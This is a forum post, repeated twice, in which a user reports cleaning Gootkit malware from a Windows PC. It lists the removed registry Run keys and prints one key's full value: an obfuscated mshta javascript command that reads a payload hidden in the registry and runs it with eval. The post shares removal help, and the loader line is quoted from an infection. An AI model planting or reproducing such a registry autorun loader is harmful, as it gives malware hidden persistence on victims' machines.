Show Posts
1
RogueKiller / Re: RK Can't remove Tr.Gootkit registry entries - c0000034
« on: August 25, 2015, 08:09:30 PM »
UPDATE -
Tried CCleaner which didn't even detect the invalid keys. A note on CCleaner this particular bug prevented it's installation. There were several REGSERVER32.EXE processes running which had to be killed. Once killed the program installed properly.
Upon a restart, the system was running MSHTA.EXE and firing off some PowerShell scripts quickly to get itself started. Killing the REGSERVER32.EXE processes after it ran seemed to stop it from functioning.
I was finally able to eliminate the following invalid registry entries using Registry Workshop which I downloaded from Torchsoft. I was not able to directly delete or edit the entries, but they were visible in the interface and I could get the complete text. Because the value name appeared to be NULL, it couldn't be affected. However unlike the built-in REGEDIT, this software WAS able to completely remove the RUN key. I only had valid entries in one of the four, so I moved them out to RunOnce, deleted the key, recreated the key, and moved them back. (FYI The HKCU run key was automatically recreated by the system after I deleted it).
End result here is if you find yourself with a registry key that cannot be removed by any of the generally used programs (Malwarebyes, FRST64, RougeKiller) - give Registry Workshop a look.
I'm fairly satisfied the issue is removed, all of the scanners say I'm clean and I see nothing fishy. If that changes, I'll provide another update.
Here were the keys removed and below is the full text from one of them:
HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER\RUN|^a175e83b, , [4fba7994f19a95a1a4f18a1da55fbe42],
HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER\RUN|^a175e83b, , [a762e62799f292a4eaabaef942c21ee2],
HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN|^3bd3bbe4, , [b158d6377f0c191d7bfb7e298381c739],
HKU\S-1-5-21-1330083092-1246176775-4547331-8996\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN|^3bd3bbe4, , [43c667a6bfcc78be1560a4032cd840c0],
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
@="mshta javascript:JqRl16HFbN=\"hYwnAH\";k65V=new%20ActiveXObject(\"WScript.Shell\");fO0RTHM=\"xfZtIVugO\";a6HJe=k65V.RegRead(\"HKCU\\\\software\\\\8c5470f52d\\\\e8128134\");jLW7dYt=\"lS9S\";eval(a6HJe);ibKpo0i=\"H1UmWJZ\";"
Tried CCleaner which didn't even detect the invalid keys. A note on CCleaner this particular bug prevented it's installation. There were several REGSERVER32.EXE processes running which had to be killed. Once killed the program installed properly.
Upon a restart, the system was running MSHTA.EXE and firing off some PowerShell scripts quickly to get itself started. Killing the REGSERVER32.EXE processes after it ran seemed to stop it from functioning.
I was finally able to eliminate the following invalid registry entries using Registry Workshop which I downloaded from Torchsoft. I was not able to directly delete or edit the entries, but they were visible in the interface and I could get the complete text. Because the value name appeared to be NULL, it couldn't be affected. However unlike the built-in REGEDIT, this software WAS able to completely remove the RUN key. I only had valid entries in one of the four, so I moved them out to RunOnce, deleted the key, recreated the key, and moved them back. (FYI The HKCU run key was automatically recreated by the system after I deleted it).
End result here is if you find yourself with a registry key that cannot be removed by any of the generally used programs (Malwarebyes, FRST64, RougeKiller) - give Registry Workshop a look.
I'm fairly satisfied the issue is removed, all of the scanners say I'm clean and I see nothing fishy. If that changes, I'll provide another update.
Here were the keys removed and below is the full text from one of them:
HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER\RUN|^a175e83b, , [4fba7994f19a95a1a4f18a1da55fbe42],
HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER\RUN|^a175e83b, , [a762e62799f292a4eaabaef942c21ee2],
HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN|^3bd3bbe4, , [b158d6377f0c191d7bfb7e298381c739],
HKU\S-1-5-21-1330083092-1246176775-4547331-8996\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN|^3bd3bbe4, , [43c667a6bfcc78be1560a4032cd840c0],
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
@="mshta javascript:JqRl16HFbN=\"hYwnAH\";k65V=new%20ActiveXObject(\"WScript.Shell\");fO0RTHM=\"xfZtIVugO\";a6HJe=k65V.RegRead(\"HKCU\\\\software\\\\8c5470f52d\\\\e8128134\");jLW7dYt=\"lS9S\";eval(a6HJe);ibKpo0i=\"H1UmWJZ\";"
